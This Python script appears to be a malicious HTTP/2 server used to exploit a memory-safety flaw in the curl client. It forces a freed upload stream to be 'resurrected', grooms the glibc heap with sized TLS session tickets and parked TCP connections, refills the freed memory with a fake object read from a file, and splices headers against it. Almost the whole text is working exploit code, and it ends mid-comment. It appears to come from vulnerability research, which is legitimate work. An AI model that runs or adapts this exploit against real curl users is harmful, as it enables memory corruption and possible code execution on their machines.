# Z2 — minimal PARALLEL victim:  curl -sk -Z -T notes.txt https://h/x https://h/y
# A = the upload (easy E_A), B = GET /y (never-ending response; the transfer that keeps driving the poisoned connection).
# conn0: B#1 + A#1 (PIPEWAIT multiplexing). Learn A's whole body, then RST_STREAM(REFUSED_STREAM) on A#1 and B#1 -> both retried on conn1.
# conn1: B#2 (answered slowly forever) + A#2 = AIMED attempt (first-flight grid 131072-L+16384*j); grant j*16KiB, stall,
#        SETTINGS(INITIAL_WINDOW_SIZE=Z2_IWS2, default 0), then trigger (Z2_TRIGGER=refused|h11) -> resurrected stream S' on conn1.
# conn2: A#3 (h2 if refused, h1 if h11): accepted in full, answered 200, lingers (closing it would make curl re-dial later).
# All log lines carry time.monotonic() ('[mono t]') to merge with the client's XDBG lines.
import os, re, sys, time, threading, importlib.util, socket
from hyperframe.frame import HeadersFrame, SettingsFrame, DataFrame, WindowUpdateFrame, GoAwayFrame, RstStreamFrame, PingFrame
_spec = importlib.util.spec_from_file_location("scl", os.path.join(os.path.dirname(os.path.abspath(__file__)), "scenario_learn.py")); _scl = importlib.util.module_from_spec(_spec); _spec.loader.exec_module(_scl)
h1_head_len, qualifies, decoded = _scl.h1_head_len, _scl.qualifies, _scl.decoded
NCONNS = int(os.environ.get("Z2_NCONNS", "4" if os.environ.get("Z2_A3_REFUSE", "0") == "1" else "3"))   # conn0, conn1, conn2 (+conn3 only in the A#3-refuse variant); with 3 the single-shot server exits when the run ends
LEARNED = {}; AIMED = threading.Event(); EV = {}
TAIL = None
if os.environ.get("Z2_TAIL"):   # researcher hook: module with step(c, S) called at the end of every conn1 loop iteration
    _ts = importlib.util.spec_from_file_location("z2tail", os.environ["Z2_TAIL"]); TAIL = importlib.util.module_from_spec(_ts); _ts.loader.exec_module(TAIL)
def mlog(c, *a): c.log("[mono %.6f]" % time.monotonic(), *a)

def before_tls(idx):
    if idx == 2 and os.environ.get("Z2_C2_HOLD", "0") == "1":
        # hold A#3's connection (TLS ServerHello) until conn1 has carved the hole under S''s tail (EV['carve1_done']),
        # so conn2's h2 set-up callocs cannot eat the chunks A#2 freed at resurrection before we have used them.
        t0 = time.monotonic()
        while 'carve1_done' not in EV and time.monotonic() - t0 < float(os.environ.get("Z2_C2_HOLD_MAX", "3")): time.sleep(0.005)
        time.sleep(float(os.environ.get("Z2_C2_HOLD_AFTER", "0.05"))); EV['c2_tls_at'] = time.monotonic()
    # Z7 shaping: hold conn1's TLS handshake until curl has torn conn0 down, so that conn1's first 16 KiB pool chunk
    # (which later becomes S' chunk#1) is calloc'd when conn0's chunks are already free: glibc then returns conn0's FIRST
    # chunk (exact 0x4030 fit, oldest in the unsorted list), whose physical successor is E_A's 64 KiB upload buffer.
    if idx == 1 and os.environ.get("Z2_C1_WAIT_C0", "1") == "1":
        t0 = time.monotonic()
        while 'c0_closed' not in EV and time.monotonic() - t0 < float(os.environ.get("Z2_C1_WAIT_MAX", "3")): time.sleep(0.005)
        time.sleep(float(os.environ.get("Z2_C1_HOLD", "0.1")))
        EV['c1_tls_at'] = time.monotonic(); EV['c1_waited'] = time.monotonic() - t0

def hpack_int(n, prefix_bits, first_byte_flags=0):
    mx = (1 << prefix_bits) - 1
    if n < mx: return bytes([first_byte_flags | n])
    out = bytearray([first_byte_flags | mx]); n -= mx
    while n >= 128: out.append((n & 0x7f) | 0x80); n >>= 7
    out.append(n); return bytes(out)

def raw_literal_block(status, name, value):
    """HPACK block: ':status <status>' as literal-without-indexing with indexed name (8), RAW (no Huffman) value;
    then ONE literal-without-indexing new-name header, name and value RAW — so nghttp2's rcbuf sizes equal the wire lengths."""
    b = hpack_int(8, 4, 0x00) + hpack_int(len(status), 7, 0x00) + status
    if name is not None:
        b += b"\x00" + hpack_int(len(name), 7, 0x00) + name + hpack_int(len(value), 7, 0x00) + value
    return b

def send_hblock(c, sid, block, end_stream=False):
    if len(block) <= 16384:
        c.headers(sid, [], raw_block=block, end_stream=end_stream); return
    c.headers(sid, [], raw_block=block[:16384], end_headers=False, end_stream=end_stream)
    rest = block[16384:]
    while rest:
        c.continuation(sid, rest[:16384], end_headers=(len(rest) <= 16384)); rest = rest[16384:]

def gate_close(c):
    """Recipe N: pause the server's accept loop and fill the kernel accept queue with dummy self-connections until a further
    connect() no longer completes, so that curl's NEXT connection (A#3) has its SYN dropped and sits in connect (kernel SYN
    retransmit after ~1 s) without allocating anything; nothing is accepted until gate_open()."""
    srv = globals().get("SERVER")
    if not srv: mlog(c, "gate: no SERVER hook (use h2srv_z2.py)"); return []
    srv["pause"].set(); socks = []; engaged = False
    # wait until the accept loop has acknowledged the pause (it polls accept() with a 50 ms timeout; without this ack the loop
    # could still be inside accept() and swallow our first dummies — an independent verifier's race)
    ack = srv.get("paused_ack")
    if ack is not None: ack.wait(0.5)
    else: time.sleep(0.12)
    for i in range(64):
        d = socket.socket(); d.settimeout(0.15)
        try:
            d.connect((srv["host"], srv["port"])); socks.append(d); srv["dummies"].add(d.getsockname()[1])
        except socket.timeout:
            d.close(); engaged = True; break     # a connect that times out = the queue is full = the next SYN (curl's) is dropped too
        except OSError:
            d.close(); break
    mlog(c, "gate CLOSED: accept paused (ack=%s), %d dummy connections parked, ENGAGED=%s%s" % (ack.is_set() if ack is not None else "n/a", len(socks), engaged, "" if engaged else "  <-- GATE FAILED: queue never filled; A#3 will connect immediately and the pin/geometry will be off"))
    EV['gate_engaged'] = engaged
    return socks

def gate_open(c, socks):
    srv = globals().get("SERVER")
    if srv: srv["pause"].clear()
    for d in socks:
        try: d.close()
        except Exception: pass
    mlog(c, "gate OPEN: accept resumed (dummies closed; the client's pending SYN retransmit will now be accepted)")

def use_takeover(idx):
    return idx == 1 and os.environ.get("F1_TAKEOVER", "0") == "1"

def run(c, idx):
    return [conn0, conn1, conn2][min(idx, 2)](c, idx)

def send_ticket(c, blob, nonce=b"\x01"):
    c.s.sock.sendall(c.s.make_session_ticket_record(blob, nonce=nonce))

def pong(c, f):
    if isinstance(f, SettingsFrame) and 'ACK' not in f.flags: c.settings(ack=True); return True
    if isinstance(f, PingFrame) and 'ACK' not in f.flags:
        p = PingFrame(0); p.flags.add('ACK'); p.opaque_data = f.opaque_data; c.send(p); return True
    return False

def conn0(c, idx):
    if not c.read_preface(): return
    c.settings({3: 100, 4: 1 << 24}); c.auto_wu = False; c.window_update(0, 1 << 30)
    up = None; bget = []; body = b""; hdrs = None; deadline = time.time() + 120
    while time.time() < deadline and not c.closed:
        f = c.recv_frame(timeout=0.05)
        if f is None or isinstance(f, tuple) or pong(c, f): continue
        if isinstance(f, HeadersFrame):
            hd = decoded(f); d = dict(hd)
            if d.get(':method') in ('PUT', 'POST') and (d.get(':path', '').startswith('/x') or up is None and not d.get(':path', '').startswith('/y')): hdrs = hd; up = f.stream_id; c.window_update(up, 1 << 30); mlog(c, "conn%d: A#1 upload stream %d (%s %s) — learning the whole body" % (idx, up, d.get(':method'), d.get(':path')))
            else: bget.append(f.stream_id); mlog(c, "conn%d: B#1 stream %d (%s %s) — NOT answered (any header byte would make curl decline the REFUSED retry)" % (idx, f.stream_id, d.get(':method'), d.get(':path')))
        elif isinstance(f, DataFrame) and f.stream_id == up:
            body += bytes(f.data)
            if 'END_STREAM' in f.flags:
                L = h1_head_len(hdrs); LEARNED['body'] = body; LEARNED['L'] = L
                mlog(c, "conn%d: learned %d body bytes, L=%d -> RST_STREAM(REFUSED_STREAM) on A#1 (stream %d) and B#1 %s; curl should retry BOTH on a fresh connection" % (idx, len(body), L, up, bget))
                c.rst(up, 7)
                for s in bget: c.rst(s, 7)
                t0 = time.time()
                while time.time() - t0 < 30 and not c.closed:
                    f2 = c.recv_frame(timeout=0.1)
                    if f2 is None or isinstance(f2, tuple) or pong(c, f2): continue
                    mlog(c, "conn%d post-RST RX %s stream=%d" % (idx, type(f2).__name__, f2.stream_id))
                EV['c0_closed'] = time.monotonic(); mlog(c, "conn%d end closed=%s" % (idx, c.closed)); return
        elif isinstance(f, (RstStreamFrame, GoAwayFrame)):
            mlog(c, "conn%d RX %s stream=%d" % (idx, type(f).__name__, f.stream_id))
    mlog(c, "conn%d: ended without END_STREAM (got %d body bytes)" % (idx, len(body)))

def b_start(c, sid, idx):
    if os.environ.get("Z2_B_MODE", "final") == "interim":
        # never give B a final status: B keeps driving conn1 waiting for headers (no default timeout in the tool) and
        # 1xx + header blocks on B (persistent header stores on E_B, a VALID easy) stay legal for the whole run.
        mlog(c, "conn%d: B stream %d left UNANSWERED (Z2_B_MODE=interim): optional ':status 102' keepalive every Z2_B_TICK102 s (default off)" % (idx, sid))
        return {"sid": sid, "next": time.monotonic() + float(os.environ.get("Z2_B_TICK102", "1e9")), "interim": True}
    c.headers(sid, [(":status", "200"), ("content-type", "text/plain")])
    mlog(c, "conn%d: B stream %d answered ':status 200' (no length); trickling 1 byte every %ss forever" % (idx, sid, os.environ.get("Z2_B_TICK", "0.25")))
    return {"sid": sid, "next": time.monotonic()}

def b_tick(c, st):
    if not st or st.get("upload"): return
    if st.get("interim"):
        if time.monotonic() >= st["next"]:
            c.headers(st["sid"], [(":status", "102")]); st["next"] = time.monotonic() + float(os.environ.get("Z2_B_TICK102", "1e9"))
        return
    if time.monotonic() >= st["next"]:
        c.data(st["sid"], b"."); st["next"] = time.monotonic() + float(os.environ.get("Z2_B_TICK", "0.25"))

def conn1(c, idx):
    if not c.read_preface(): return
    iws = int(os.environ.get("Z2_IWS1", "65535"))
    c.settings({3: 100, 4: iws}); c.auto_wu = False; c.window_update(0, 1 << 30)
    body = LEARNED.get('body', b""); L = LEARNED.get('L', 0)
    if not body: mlog(c, "conn%d: nothing learned yet?! (curl dialled a second connection early)" % idx)
    mlog(c, "conn%d: TLS was held %.3fs waiting for conn0 teardown (c0_closed seen: %s)" % (idx, EV.get('c1_waited', -1), 'c0_closed' in EV))
    choice = None; quals = []
    for j in range(0, 64):
        B = 131072 - L + 16384 * j
        if B + 2 >= len(body) - 16: break
        ok, why = qualifies(body, B)
        if ok: quals.append((j, B, why))
    # Z2_JMOD: preferred residues of j mod 4 (comma list, in order of preference). curl holds 65536-16384*(j mod 4) leftover bytes
    # in req.sendbuf at the stall (DESIGN-noL), i.e. S' should get 4,3,2,1 sendbuf chunks for j mod 4 = 0,1,2,3 (to be measured); where chunks #2.. come from
    # (pool spares vs fresh calloc onto A#2's just-freed run) is what the cores are for.
    prefs = [int(x) for x in os.environ.get("Z2_JMOD", "").split(",") if x]   # unset = original behaviour: first qualifying j
    if not prefs: choice = quals[0] if quals else None
    for r in prefs:
        cand = [qq for qq in quals if qq[0] % 4 == r]
        if cand: choice = cand[0]; break
    mlog(c, "conn%d: qualifying grid points j=%s; Z2_JMOD prefs %s -> chose %s" % (idx, [qq[0] for qq in quals], prefs, choice[0] if choice else None))
    if choice is None:
        mlog(c, "conn%d: NO qualifying grid offset (body %d, L %d)" % (idx, len(body), L)); c.drain(5); return
    j, B, why = choice
    mlog(c, "conn%d: AIM j=%d -> leftover will start at body offset %d: %r (%s)" % (idx, j, B, body[B:body.find(b"\n", B)][:60], why))
    up = None; got = 0; t_last = time.time(); rst_sent = False; resurrected = None; granted = 0; bst = None; sdata = {}
    latched = False; refilled = False; spliced = False; probed = False; t_refill = None; sframes = []; tail_left = 0; t_lastgrant = None
    EV['c1'] = c
    deadline = time.time() + float(os.environ.get("Z2_RUN_SECS", "40"))
    while time.time() < deadline and not c.closed:
        f = c.recv_frame(timeout=0.02)
        if f is not None and not isinstance(f, tuple) and not pong(c, f):
            if resurrected is not None and getattr(f, "stream_id", None) == resurrected: sframes.append(f)
            if isinstance(f, HeadersFrame):
                hd = dict(decoded(f)); m = hd.get(':method'); pth = hd.get(':path', '')
                if rst_sent and resurrected is None and f.stream_id != up and m not in ('GET',):
                    resurrected = f.stream_id; EV['resurrected'] = resurrected; EV['t_res'] = time.monotonic()
                    mlog(c, "*** RESURRECTED stream %d on conn%d: :method=%r :path=%r (file offset %d) — B is on this same connection: %s" % (f.stream_id, idx, m, pth[:60], B, bst is not None))
                elif m in ('PUT', 'POST') and pth.startswith('/y'):
                    bst = {"sid": f.stream_id, "next": float('inf'), "upload": True}; EV['b_sid'] = f.stream_id
                    mlog(c, "conn%d: B#2 is an UPLOAD on stream %d (%s %s) — left stalled (stream window = SETTINGS IWS only), no response" % (idx, f.stream_id, m, pth[:40]))
                elif m in ('PUT', 'POST') and up is None:
                    up = f.stream_id; EV['t_a2'] = time.monotonic(); EV['a2_sid'] = up; EV['j'] = j
                    if os.environ.get("Z2_GRANT_MODE", "") == "tail":
                        granted = 16384 * j; tail_left = 0; t_lastgrant = None   # the Z2_TAIL module issues the j*16384 of WINDOW_UPDATEs itself (S['up'], S['EV']['j']); stall detection assumes it will
                        mlog(c, "conn%d: A#2 on stream %d; Z2_GRANT_MODE=tail -> no grants from me (j=%d, %d bytes expected from the tail)" % (idx, up, j, granted))
                    else:
                        tailn = min(int(os.environ.get("Z2_GRANT_TAIL", "0")), j)
                        for _ in range(j - tailn): c.window_update(up, 16384)
                        granted = 16384 * (j - tailn); tail_left = tailn; t_lastgrant = None
                    mlog(c, "conn%d: A#2 on stream %d; granted %d extra bytes of stream window (j=%d), then stalling" % (idx, up, granted, j))
                elif m == 'GET':
                    bst = b_start(c, f.stream_id, idx)
                    if os.environ.get("Z2_B_PRIME"):
                        # the allocator analysis's dynbuf PRIME: send the same huge raw-literal 1xx on B early (before free(E_A)) so that
                        # cf_h2's scratch and B's header dynbuf grow to their final size now, not during the carve.
                        pn, pv = [int(x) for x in os.environ["Z2_B_PRIME"].split(",")]
                        send_hblock(c, f.stream_id, raw_literal_block(b"103", b"x" * pn, b"v" * pv))
                        mlog(c, "conn%d: B PRIME sent: ':status 103' + raw literal name=%d value=%d bytes" % (idx, pn, pv))
                else:
                    mlog(c, "conn%d: unexpected HEADERS stream %d %r %r" % (idx, f.stream_id, m, pth[:40]))
            elif isinstance(f, DataFrame):
                n = len(f.data) + (f.pad_length or 0)
                if n: c.window_update(0, n)
                if f.stream_id == up: got += n; t_last = time.time()
                elif f.stream_id == resurrected:
                    sdata[resurrected] = sdata.get(resurrected, 0) + len(f.data)
                    mlog(c, "*** DATA on resurrected stream %d: len=%d (total %d) first16=%r" % (resurrected, len(f.data), sdata[resurrected], bytes(f.data[:16])))
            elif isinstance(f, (RstStreamFrame, GoAwayFrame, WindowUpdateFrame)):
                if not isinstance(f, WindowUpdateFrame) or f.stream_id == (resurrected or -9):
                    mlog(c, "conn%d RX %s stream=%d" % (idx, type(f).__name__, f.stream_id))
        b_tick(c, bst)
        # ---- post-resurrection choreography ----
        if resurrected and os.environ.get("Z2_GATE_C2", "0") == "1" and 'pin_done' not in EV:
            # recipe N: while A#3's connect is held off by the gate, PIN the freshly freed S1+S2 (coalesced 0x8060 under the tail)
            # with one ticket (exact fit), then open the gate.
            time.sleep(float(os.environ.get("Z2_PIN_DELAY", "0.05")))
            pl = int(os.environ.get("Z2_PIN_TLEN", "32848")); send_ticket(c, bytes(pl), b"\x0c")
            pf = PingFrame(0); pf.opaque_data = b"PINPING\x00"; c.send(pf)
            EV['pin_done'] = time.monotonic(); mlog(c, "*** PIN: NST(%d zero bytes) sent to occupy S1+S2 while A#3's SYN is being dropped" % pl)
            time.sleep(float(os.environ.get("Z2_GATE_OPEN_DELAY", "0.25")))
            gate_open(c, EV.pop('gate_socks', []))
        if resurrected and 'carve1_done' not in EV and os.environ.get("Z2_CARVE1_TLEN"):
            # EARLY CARVE (conn2 held meanwhile): one ticket whose malloc(len) best-fits what is left of the freed [S1|S2] block under
            # S''s tail after OpenSSL's 21848-byte read buffer took its front, leaving a small remainder flush under the tail.
            time.sleep(float(os.environ.get("Z2_CARVE1_DELAY", "0.02")))
            tl = int(os.environ["Z2_CARVE1_TLEN"]); send_ticket(c, bytes(tl), b"\x07")
            if os.environ.get("Z2_CARVE1_NOPING", "0") != "1":
                pf = PingFrame(0); pf.opaque_data = b"CARVE1\x00\x00"; c.send(pf)
            EV['carve1_done'] = time.monotonic(); mlog(c, "*** CARVE1: NST(%d zero bytes) + PING sent on conn1 right after resurrection (conn2 TLS held until now)" % tl)
        if resurrected and not latched and (int(os.environ.get("Z2_LATCH_N", "0")) > 0 or os.environ.get("Z2_LATCH_MODE")) and (os.environ.get("Z2_A3_MODE", "") != "split" or (EV.get('t_a3hdrs') and time.monotonic() - EV['t_a3hdrs'] > float(os.environ.get("Z2_LATCH_GAP", "0.3")))):
            mode = os.environ.get("Z2_LATCH_MODE", "flood")
            if mode == "flood":
                n = int(os.environ["Z2_LATCH_N"]); sz = int(os.environ.get("Z2_LATCH_SZ", "4000"))
                blk = c.hblock([(":status", "100"), ("x-l", "L" * sz)])
                for i in range(n): c.headers(resurrected, [], raw_block=blk)
                mlog(c, "*** LATCH(flood): sent %d x ':status 100' (+%d-byte header) on S'=%d while E_A is alive (A#3 delayed %ss on conn2)" % (n, sz, resurrected, os.environ.get("Z2_A3_DELAY", "0")))
            elif mode == "badcl":      # one interim response with an invalid Content-Length -> Curl_http_header returns CURLE_WEIRD_SERVER_REPLY (http.c:3314) -> S' xfer_result latched, ~40 header bytes
                c.headers(resurrected, [(":status", "100"), ("content-length", "x1")]); mlog(c, "*** LATCH(badcl): ':status 100' + 'content-length: x1' on S'=%d while E_A is alive" % resurrected)
            elif mode == "s100":      # plain interim ':status 100' — with Z2_A3_MODE=split E_A is in A#3's BODY phase, so curl's HTTP/1 layer sees "HTTP/2 100" as a header line without colon -> CURLE_WEIRD_SERVER_REPLY -> latched; nghttp2 still expects a final response on S', so later HEADERS on S' stay legal
                c.headers(resurrected, [(":status", "100")]); mlog(c, "*** LATCH(s100): ':status 100' on S'=%d while E_A is alive and in A#3's body phase" % resurrected)
            elif mode == "s099":      # ':status 099': passes nghttp2 (3 digits, not 101) and on_header's decode; curl's HTTP/1 layer then fails the response with CURLE_UNSUPPORTED_PROTOCOL at end-of-headers (http.c:4168) -> S' xfer_result latched; ~15 header bytes
                c.headers(resurrected, [(":status", "099")]); mlog(c, "*** LATCH(s099): ':status 099' on S'=%d while E_A is alive" % resurrected)
            elif mode == "badcl200":
                c.headers(resurrected, [(":status", "200"), ("content-length", "5, 6")]); mlog(c, "*** LATCH(badcl200): ':status 200' + 'content-length: 5, 6' on S'=%d while E_A is alive" % resurrected)
            latched = True; EV['t_latch'] = time.monotonic()
        if resurrected and os.environ.get("Z2_REFILL_EARLY", "0") == "1" and 'early_refill' not in EV and EV.get('t_a3done') and time.monotonic() - EV['t_a3done'] > float(os.environ.get("Z2_REFILL_EARLY_AT", "0.03")):
            # EARLY (sacrificial) refill: occupy E_A's chunk within ~30 ms of free(E_A), i.e. BEFORE conn2's teardown frees its own
            # 0xd30-class objects (glibc hands equal-size large-bin chunks out newest-first, so after the teardown E would lose).
            # E is then only re-freed by our own later tickets, which makes it the newest free 0xd30 again at that moment.
            fake = open(os.environ["F1_FAKE"], "rb").read(); send_ticket(c, fake, b"\x0e")
            pf = PingFrame(0); pf.opaque_data = b"EARLYRF\x00"; c.send(pf)
            EV['early_refill'] = time.monotonic(); mlog(c, "*** EARLY REFILL: NST(%d) %.0f ms after A#3 done (conn2 FIN follows at +%s s)" % (len(fake), 1000 * (time.monotonic() - EV['t_a3done']), os.environ.get("Z2_C2_CLOSE_DELAY", "0.1")))
        if resurrected and 'carve2_done' not in EV and os.environ.get("Z2_CARVE2") and EV.get('t_a3done') and time.monotonic() - EV['t_a3done'] > float(os.environ.get("Z2_CARVE2_AT", "0.25")) and bst:
            # CARVE2 (design-3's one-header carve of the K-geometry hole): ':status 103' + ONE raw literal header (name N, value V) on B
            cn, cv = [int(x) for x in os.environ["Z2_CARVE2"].split(",")]
            send_hblock(c, bst["sid"], raw_literal_block(b"103", b"x" * cn, b"w" * cv))
            EV['carve2_done'] = time.monotonic(); mlog(c, "*** CARVE2: ':status 103' + raw literal name=%d value=%d on B (stream %d), %.2fs after A#3 done" % (cn, cv, bst["sid"], time.monotonic() - EV['t_a3done']))
        if resurrected and 'carve2_done' in EV and 'carve3_done' not in EV and os.environ.get("Z2_CARVE3_TLEN") and time.monotonic() - EV['carve2_done'] > float(os.environ.get("Z2_CARVE3_GAP", "0.1")):
            # CARVE3: ticket sized to take the free piece left under S3 by CARVE2 minus 0x50 (KC1: piece 0x4150 -> ticket chunk 0x4100 -> len 16617..16632)
            tl = int(os.environ["Z2_CARVE3_TLEN"]); send_ticket(c, bytes(tl), b"\x09")
            EV['carve3_done'] = time.monotonic(); mlog(c, "*** CARVE3: NST(%d zero bytes) on conn1" % tl)
        if resurrected and not refilled and os.environ.get("F1_FAKE") and EV.get('t_a3done') and time.monotonic() - EV['t_a3done'] > float(os.environ.get("Z2_FREE_GAP", "0.3")):
            fake = open(os.environ["F1_FAKE"], "rb").read(); send_ticket(c, fake, b"\x01")
            if os.environ.get("Z2_REFILL_PROBE", "1") == "1": c.window_update(resurrected, 1)
            else:
                pf = PingFrame(0); pf.opaque_data = b"REFILL\x00\x00"; c.send(pf)   # no stream-5 frame: survive a missed refill (for cores)
            refilled = True; t_refill = time.monotonic(); mlog(c, "*** REFILL: NST(%d bytes) sent on conn1 %.2fs after A#3 was answered, + WINDOW_UPDATE(S',1) as a probe (watch ud.magic/ud.mid in the client log)" % (len(fake), time.monotonic() - EV['t_a3done']))
        if refilled and not spliced and os.environ.get("Z2_SPLICE", "0") == "1" and time.monotonic() - t_refill > 0.3 and os.environ.get("Z2_SPLICE_HOLD", "0") == "1" and 't_presplice' not in EV:
            EV['t_presplice'] = time.monotonic(); mlog(c, "conn%d: ready to splice -> HOLDING until the tail sets EV['tail_go_splice']" % idx)
        splice_ok = os.environ.get("Z2_SPLICE_HOLD", "0") != "1" or EV.get('tail_go_splice') or ('t_presplice' in EV and time.monotonic() - EV['t_presplice'] > float(os.environ.get("Z2_HOLD_MAX", "5")))
        if refilled and not spliced and os.environ.get("Z2_SPLICE", "0") == "1" and time.monotonic() - t_refill > 0.3 and splice_ok:
            c.headers(resurrected, [(":status", "100"), ("x-s", "splice")])
            spliced = True; mlog(c, "*** SPLICE: HEADERS ':status 100' on S'=%d against the fake" % resurrected)
        if TAIL is not None:
            try:
                TAIL.step(c, {'sid': resurrected, 'up': up, 'up_closed': rst_sent, 'got': got, 'granted': granted, 'b': bst['sid'] if bst else None, 'latched': latched, 'refilled': refilled,
                              't_refill': t_refill, 'spliced': spliced, 'EV': EV, 'frames': sframes, 'idx': idx, 'mlog': mlog, 'send_ticket': send_ticket})
            except Exception:
                import traceback; traceback.print_exc()
            sframes = []
        if up is not None and not rst_sent and tail_left > 0 and got >= min(iws, 65535) + granted and time.time() - t_last > float(os.environ.get("Z2_GRANT_STEP", "0.3")):
            # Z2_GRANT_TAIL: release the last n chunk-sized grants one at a time, each after the previous one drained and things went
            # quiet, so the LAST chunk A#2 drains (which becomes the pool top, hence S''s tail chunk) is chosen deliberately.
            c.window_update(up, 16384); granted += 16384; tail_left -= 1; t_lastgrant = time.monotonic()
            mlog(c, "conn%d: tail grant +16384 (granted now %d, %d tail grants left)" % (idx, granted, tail_left))
        if up is not None and not rst_sent and got >= min(iws, 65535) + granted and time.time() - t_last > 0.4 and os.environ.get("Z2_TRIGGER_HOLD", "0") == "1" and 't_stall' not in EV:
            EV['t_stall'] = time.monotonic(); mlog(c, "conn%d: A#2 stalled at %d body bytes -> HOLDING the trigger until the tail sets EV['tail_go_rst'] (max %ss)" % (idx, got, os.environ.get("Z2_HOLD_MAX", "5")))
        hold_ok = os.environ.get("Z2_TRIGGER_HOLD", "0") != "1" or EV.get('tail_go_rst') or ('t_stall' in EV and time.monotonic() - EV['t_stall'] > float(os.environ.get("Z2_HOLD_MAX", "5")))
        settle_ok = tail_left == 0 and (t_lastgrant is None or time.monotonic() - t_lastgrant > float(os.environ.get("Z2_GRANT_SETTLE", "0.15")))
        if up is not None and not rst_sent and got >= min(iws, 65535) + granted and time.time() - t_last > float(os.environ.get("Z2_STALL_QUIET", "0.4")) and hold_ok and settle_ok:
            iws2 = os.environ.get("Z2_IWS2", "0")
            if iws2 != "keep":
                c.settings({4: int(iws2)}); mlog(c, "conn%d: SETTINGS INITIAL_WINDOW_SIZE=%s (so S' opens flow-blocked with its sendbuf full)" % (idx, iws2))
                # Z2_RST_GAP: let curl read+ACK the SETTINGS in its own burst before the RST arrives, so the chunk-pool state at the
                # instant of resurrection does not depend on TCP segment coalescing (which S' chunk lands on which slot was bimodal without it)
                time.sleep(float(os.environ.get("Z2_RST_GAP", "0.05")))
            trig = os.environ.get("Z2_TRIGGER", "refused")
            if os.environ.get("Z2_GATE_C2", "0") == "1": EV['gate_socks'] = gate_close(c)
            if trig == "h11": c.headers(up, [(":status", "200"), ("content-length", "3")]); c.rst(up, 13)
            else: c.rst(up, 7)
            rst_sent = True; EV['t_rst'] = time.monotonic()
            mlog(c, "conn%d: A#2 stalled at %d body bytes -> trigger %s" % (idx, got, trig))
    mlog(c, "conn%d loop end closed=%s resurrected=%s data_on_resurrected=%s got=%d granted=%d rst_sent=%s" % (idx, c.closed, resurrected, sdata, got, granted, rst_sent))
    c.drain(0.3)

def conn2(c, idx):
    first = c._read(3, timeout=20)
    if not first: return
    c.buf = first + c.buf
    if first != b"PRI":
        head = c.recv_h1_head(); mlog(c, "conn%d: HTTP/1.1 request (A#3 over h1, trigger h11): %r" % (idx, (head or b"")[:60]))
        if os.environ.get("Z2_A3_MODE", "") == "split":
            # same latch support as the h2 path: headers + 1 body byte now (E_A leaves the header phase), rest after the latch.
            total = int(os.environ.get("Z2_A3_BODY", "4"))
            c.send_raw(b"HTTP/1.1 200 OK\r\nContent-Length: %d\r\n\r\no" % total); EV['t_a3hdrs'] = time.monotonic()
            mlog(c, "conn%d: A#3(h1) answered early: headers + 1 body byte; holding the rest until the latch" % idx)
            t0 = time.monotonic(); c.s.settimeout(0.05)
            while 't_latch' not in EV and time.monotonic() - t0 < 10:
                try:
                    if not c.s.recv(65536): break
                except socket.timeout: pass
                except Exception: break
            time.sleep(float(os.environ.get("Z2_REFUSE_GAP", "0.2")))
            c.send_raw(b"k" * (total - 1)); EV['t_a3done'] = time.monotonic()
            mlog(c, "conn%d: A#3(h1) body completed %.2fs after the latch (curl will still fail A with 26: the h1 re-issue cannot rewind -T); lingering, draining" % (idx, time.monotonic() - EV.get('t_latch', t0)))
            c.s.settimeout(1.0); tend = time.time() + float(os.environ.get("Z2_LINGER", "30"))
            while time.time() < tend:
                try:
                    if not c.s.recv(65536): break
                except socket.timeout: pass
                except Exception: break
            return
        c.s.settimeout(2.0)
        try:
            while c.s.recv(65536): pass
        except Exception: pass
        c.send_raw(b"HTTP/1.1 200 OK\r\nContent-Length: 3\r\n\r\nok\n"); time.sleep(float(os.environ.get("Z2_LINGER", "30"))); return
    if not c.read_preface(): return
    c.settings({3: 100, 4: 1 << 24}); c.auto_wu = False; c.window_update(0, 1 << 30)
    up = None; n_body = 0; deadline = time.time() + float(os.environ.get("Z2_LINGER", "30")); answered = False
    while time.time() < deadline and not c.closed:
        f = c.recv_frame(timeout=0.05)
        if f is None or isinstance(f, tuple) or pong(c, f): continue
        if isinstance(f, HeadersFrame):
            hd = dict(decoded(f)); up = f.stream_id; mlog(c, "conn%d: A#3 stream %d (%s %s) — accepting in full" % (idx, up, hd.get(':method'), hd.get(':path')))
            c.window_update(up, 1 << 24)
        elif isinstance(f, DataFrame) and f.stream_id == up:
            n_body += len(f.data); c.window_update(0, max(1, len(f.data) + (f.pad_length or 0)))
            if 'END_STREAM' in f.flags and not answered:
                time.sleep(float(os.environ.get("Z2_A3_DELAY", "0")))
                if os.environ.get("Z2_A3_MODE", "") == "split":
                    # answer HEADERS + 1 body byte now (E_A's parser leaves the header phase), wait for conn1's latch on S', then finish the body:
                    # a header line arriving on S' for E_A while E_A is in A#3's BODY phase fails Curl_verify_header ('Header without colon',
                    # CURLE_WEIRD_SERVER_REPLY) -> S' xfer_result latched, and A#3 itself is unaffected and completes cleanly.
                    total = int(os.environ.get("Z2_A3_BODY", "4"))
                    c.headers(up, [(":status", "200"), ("content-length", str(total))]); c.data(up, b"o"); EV['t_a3hdrs'] = time.monotonic()
                    mlog(c, "conn%d: A#%d upload complete (%d bytes) -> HEADERS 200 + 1 body byte; holding the rest until the latch" % (idx, idx + 1, n_body))
                    t0 = time.monotonic()
                    while 't_latch' not in EV and time.monotonic() - t0 < 10:
                        f3 = c.recv_frame(timeout=0.01)
                        if f3 is not None and not isinstance(f3, tuple): pong(c, f3)
                    time.sleep(float(os.environ.get("Z2_REFUSE_GAP", "0.2")))
                    if os.environ.get("Z2_C2_CLOSE", "0") == "1":
                        c.goaway(up, 0)   # GOAWAY(last_stream_id = A#3's stream, NO_ERROR) BEFORE the final DATA: curl marks conn2 for close and tears it down in multi_done(A#3) -> conn2's TLS/nghttp2/pool objects are glibc-freed at the same instant as E_A
                    c.data(up, b"k" * (total - 1), end_stream=True); answered = True; EV['t_a3done'] = time.monotonic()
                    mlog(c, "conn%d: A#%d body completed %.2fs after the latch -> the tool will now free E_A; %s" % (idx, idx + 1, time.monotonic() - EV.get('t_latch', t0), "CLOSING this connection (Z2_C2_CLOSE) so curl frees its TLS/h2 objects" if os.environ.get("Z2_C2_CLOSE", "0") == "1" else "lingering"))
                    if os.environ.get("Z2_C2_CLOSE", "0") == "1":
                        time.sleep(float(os.environ.get("Z2_C2_CLOSE_DELAY", "0.1"))); c.goaway(0) if hasattr(c, "goaway") else None
                        try: c.s.shutdown(socket.SHUT_RDWR)
                        except Exception: pass
                        c.closed = True; EV['t_c2closed'] = time.monotonic(); return
                elif idx == 2 and os.environ.get("Z2_A3_REFUSE", "0") == "1":
                    # wait for conn1's latch on S' (it pollutes E_A's response parser), THEN refuse this attempt so that the next
